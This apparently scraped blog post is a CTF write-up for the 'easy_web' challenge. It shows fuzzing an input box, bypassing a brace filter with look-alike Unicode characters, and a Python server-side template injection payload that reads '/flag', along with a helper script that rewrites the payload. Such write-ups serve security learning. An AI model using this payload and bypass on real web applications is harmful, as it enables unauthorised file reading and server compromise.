当前位置:网站首页>Attack and defense world -- easy_ web
Attack and defense world -- easy_ web
2022-07-26 05:20:00 【jjj34】
Catalog
Add SSTI Used functions and payload
1. After getting the title , Do a directory scan , Unfortunately, nothing useful was found
2. There is an input box , Enter any parameter and pass bp Grab the bag and check

Two points of attention : 1.Python/3.7.12 notice python Written , I think of it. SSTI Template Injection

Make sure that the server will treat the parameters we entered as html Language analysis .
2. Look at the returned fields , It should be filtered
Fuzzy test the input box
The test returns all single characters , namely ascii in 33-127 All characters of ( Special symbols , Letter case , Numbers )

length by 198 What is filtered out
4. How to bypass filtering
According to the meaning , We can bypass by special characters
Websites with special characters : A complete collection of symbols - Special symbols - A complete collection of special symbols (fhdq.net)
Direct input { Will be filtered out , So we can enter ︷

Compared with , Both special symbols can be parsed into {


Make a brief summary of filtration
{ -> ︷/﹛
} -> ︸/﹜
' -> '5. Use the found filter conditions to solve problems
{
{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}
Turn into

Replacement successful
utilize python Replace characters
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
"""
str='{
{\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}' # Original string
# If you need to replace replace( Replaced characters , The replaced character )
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
print(str)
边栏推荐
- Princeton calculus reader 02 Chapter 1 -- composition of functions, odd and even functions, function images
- [acwing] 2983. Toys
- 【pytorch】torch1.8.1安装、查看torch版本、GPU是否可用
- DOM事件流 事件冒泡-事件捕获-事件委托
- JVM Lecture 5: how to deal with peak push of vertical and horizontal data
- Okaleido上线聚变Mining模式,OKA通证当下产出的唯一方式
- Okaleido上线聚变Mining模式,OKA通证当下产出的唯一方式
- kubernetes install completed
- Excel vba: saving multiple worksheets as new files
- Mysql优化
猜你喜欢

安装NCCL\mpirun\horovod\nvidia-tensorflow(3090Ti)

CLM land surface process model

Excel VBA: realize automatic drop-down filling formula to the last line

Lesson 2 getting to know slam for the first time

Chinese character style transfer --- learn the conversion and generation of one to many programmed Chinese characters through generation confrontation network

LNMP架构

【pytorch】torch1.8.1安装、查看torch版本、GPU是否可用

JVM Lecture 5: how to deal with peak push of vertical and horizontal data

Ansible中常用的模块

真正的科学减肥
随机推荐
LeetCode链表问题——203.移除链表元素(一题一文学会链表)
JVM Lecture 2: class loading mechanism
Mysql优化
When AQS wakes up the thread, I understand why it traverses from the back to the front
Common modules in ansible
Go exceed API source code reading (VI) -- deletesheet (sheet string)
攻防世界-FlatScience
ThreadLocal transfer between parent and child threads in asynchronous
Chinese character style transfer --- learn the conversion and generation of one to many programmed Chinese characters through generation confrontation network
DOM event flow event bubble event capture event delegate
C语言-指针进阶
LNMP架构
推荐必读:测试人员如何快速熟悉新业务?
提升命令行效率的 Bash 快捷键 [完整版]
ALV入门
Getting started with ALV
unity场景跳转脚本
Okaleido launched the fusion mining mode, which is the only way for Oka to verify the current output
C语言力扣第41题之缺失的第一个正数。两种方法,预处理快排与原地哈希
家居vr全景展示制作提高客户转化
